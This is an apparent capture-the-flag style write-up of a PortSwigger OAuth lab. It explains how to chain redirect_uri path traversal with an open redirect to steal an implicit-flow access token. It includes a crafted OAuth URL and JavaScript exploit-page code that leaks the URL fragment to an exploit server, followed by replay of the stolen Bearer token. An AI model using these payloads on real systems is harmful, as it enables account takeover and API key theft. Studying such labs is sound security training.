The lab
here is how portswigger describes it
This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the OAuth service makes it possible for an attacker to leak access tokens to arbitrary pages on the client application. To solve the lab, identify an open redirect on the blog website and use this to steal an access token for the admin user's account. Use the access token to obtain the admin's API key and submit the solution using the button provided in the lab banner.
Note: You cannot access the admin's API key by simply logging in to their account on the client application. The admin user will open anything you send from the exploit server and they always have an active session with the OAuth service. You can log in via your own social media account using the following credentials:
wiener:peter.
the new pieces in this lab#
this is an implicit-flow lab (response_type=token), so the access token comes back in the browser, and we steal it. a few new terms:
- the userinfo endpoint (
/mehere) is the API the client calls, carrying the access token, to fetch the logged-in user's profile. in this lab it returns more than the UI shows, including the admin's API key, which is why "just logging in as admin" isn't enough; we need the raw token to query/meourselves. - a Bearer token is how an access token is presented to an API: the HTTP header
Authorization: Bearer <token>. whoever holds the token can call the API as that user, no other proof needed. so stealing the token is stealing the account's API access. - the URL fragment is the part of a URL after
#. in implicit flow the token is returned in the fragment (...#access_token=...). the fragment is special: it is never sent to the server, it only lives in the browser, so to exfiltrate it we need JavaScript to readdocument.location.hashand ship it somewhere. - an open redirect is a page that takes a URL/path from a parameter and redirects the browser to it without restriction. harmless-looking on its own, but it becomes a weapon when something trusted (like an OAuth
redirect_uriwhitelist) can be made to bounce through it to an attacker's site. - the
redirect_uriwhitelist here is stricter than the previous lab, it blocks external domains. but it only checks a prefix, so a path traversal (/../) sequence inside an allowed URL lets us climb out to any path on the same site, including the open-redirect endpoint. the chain: the OAuth provider allowsredirect_urito stay on the blog domain but doesn't stop/../traversal within it. the blog has an open redirect at/post/next?path=. we pointredirect_uriat/oauth-callback/../post/next?path=https://exploit-server/..., so the provider delivers the token to the blog's open redirect, which forwards the browser, token fragment and all, to our server. a script on our page reads the fragment and leaks it. we use the admin's token to call/meand read their API key.
why the chain works#
two flaws combine. first, the OAuth provider validates redirect_uri only by prefix, so it trusts anything that starts with the registered callback, and a /../ sequence lets us rewrite the actual destination to any path on the client while still passing that prefix check. second, the client has an open redirect that will forward the browser to an arbitrary external URL. on their own, neither hands a token to an attacker, the whitelist keeps the token on the client's domain, and the open redirect has no token to leak. chained, the whitelist is satisfied (the redirect_uri is on the client) while the real endpoint reached is the open redirect, which then carries the token off-site. because the token rides in the URL fragment, it survives the client-side redirect to our server, where JavaScript scoops it out. the victim's active provider session means the whole thing fires silently when they load our page.
Step 1 - find the userinfo call#
while proxying through Burp, we click My account and complete the OAuth login, landing back on the blog. studying the requests, we see the blog makes an API call to the userinfo endpoint at /me and uses that data to log us in. we send the GET /me request to Repeater, this is what we will later replay with the admin's token.

Step 2 - capture the authorization request#
we log out and log back in, then from the proxy history find the most recent GET /auth?client_id=[...] request and send it to Repeater.

Step 3 - prove the redirect_uri traversal#
experimenting with the GET /auth request, we find we cannot supply an external domain as redirect_uri, it is validated against a whitelist. but we can append extra characters to the default value without error, including a /../ path-traversal sequence. we log out, turn on proxy interception, log in again, and at the intercepted GET /auth?client_id=[...] request change redirect_uri to:
https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post?postId=1
forwarding the remaining requests, we are redirected to the first blog post, and in the browser the access token is included in the URL as a fragment. traversal confirmed.

Step 4 - find the open redirect#
we audit the other pages and spot the Next post option at the bottom of each blog post, which redirects users to the path given in a query parameter. we send the corresponding GET /post/next?path=[...] request to Repeater.

Step 5 - confirm it's an open redirect#
experimenting with the path parameter, we see it is an open redirect, we can even supply an absolute URL and be redirected to a completely different domain.

Step 6 - combine the two into one URL#
we craft a URL that starts an OAuth flow with redirect_uri pointing at the open redirect, which then forwards the victim to our exploit server:
https://oauth-YOUR-OAUTH-SERVER-ID.oauth-server.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/exploit&response_type=token&nonce=399721827&scope=openid%20profile%20email
visiting it in the browser, we are redirected to the exploit server's "Hello, world!" page with the access token in a URL fragment.

Step 7 - script the fragment exfiltration#
on the exploit server we create a script at /exploit that extracts the fragment and leaks it. this one redirects to the exploit server a second time with the token as a query parameter (which does reach the server, so it lands in the access log):
<script>
window.location = '/?'+document.location.hash.substr(1)
</script>
we store it, visit the malicious URL again, and check the access log, there is a GET /?access_token=[...] entry.

Step 8 - wrap it so the victim is driven through the flow#
we build the final exploit: on first load it sends the victim into the malicious OAuth URL, and on return (when the fragment is present) it runs the leak script:
<script>
if (!document.location.hash) {
window.location = 'https://oauth-YOUR-OAUTH-SERVER-ID.oauth-server.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/exploit/&response_type=token&nonce=399721827&scope=openid%20profile%20email'
} else {
window.location = '/?'+document.location.hash.substr(1)
}
</script>
we store it and click View exploit, the page appears to refresh, and the access log shows a new GET /?access_token=[...].

Step 9 - steal the admin's token and read the API key#
we deliver the exploit to the victim and copy their access token from the log. in Repeater we go to the GET /me request and replace the token in the Authorization: Bearer header with the stolen one. sending it, we fetch the admin's data, including their API key, which we submit to solve the lab.



with this, the lab is solved!
